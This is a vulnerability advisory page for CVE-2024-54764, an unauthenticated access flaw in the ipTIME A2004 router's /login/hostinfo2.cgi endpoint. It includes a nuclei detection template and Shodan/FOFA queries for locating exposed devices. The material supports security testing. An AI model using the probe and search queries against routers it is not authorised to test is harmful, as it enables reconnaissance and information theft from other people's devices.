ipTIME A2004 - Unauthorized Access

mediumseverity

6.5CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

An access control issue exists in the component /login/hostinfo2.cgi of ipTIME A2004 v12.17.0 that allows attackers to obtain sensitive information without authentication. The vulnerability allows unauthenticated access to device settings and configuration information.

Impact

Unauthenticated attackers can access sensitive device settings and configuration information through the hostinfo2.cgi endpoint.

Fix

Update ipTIME A2004 router to a version later than 12.17.0 that addresses the unauthorized access vulnerability.

How to confirm it

Send: GET {{BaseURL}}/login/hostinfo2.cgi
Positive when: contains in response "product_name=" and "system_type=" AND contains in content_type "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2024-54764 -u <target>

The full check

id: CVE-2024-54764

info:
  name: ipTIME A2004 - Unauthorized Access
  author: ritikchaddha
  severity: medium
  description: |
    An access control issue exists in the component /login/hostinfo2.cgi of ipTIME A2004 v12.17.0 that allows attackers to obtain sensitive information without authentication. The vulnerability allows unauthenticated access to device settings and configuration information.
  impact: |
    Unauthenticated attackers can access sensitive device settings and configuration information through the hostinfo2.cgi endpoint.
  remediation: |
    Update ipTIME A2004 router to a version later than 12.17.0 that addresses the unauthorized access vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ipTIME/A2004/ipTIME_A2004_unauthorized_access_vulnerability_second.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54764
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-54764
    cwe-id: CWE-284
    epss-score: 0.01013
    epss-percentile: 0.63518
  metadata:
    verified: true
    max-request: 1
    vendor: ipTIME
    product: A2004
    shodan-query: http.title:"ipTIME"
    fofa-query: title="ipTIME"
  tags: cve,cve2024,iptime,router,unauth,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/hostinfo2.cgi"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "product_name="
          - "system_type="
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from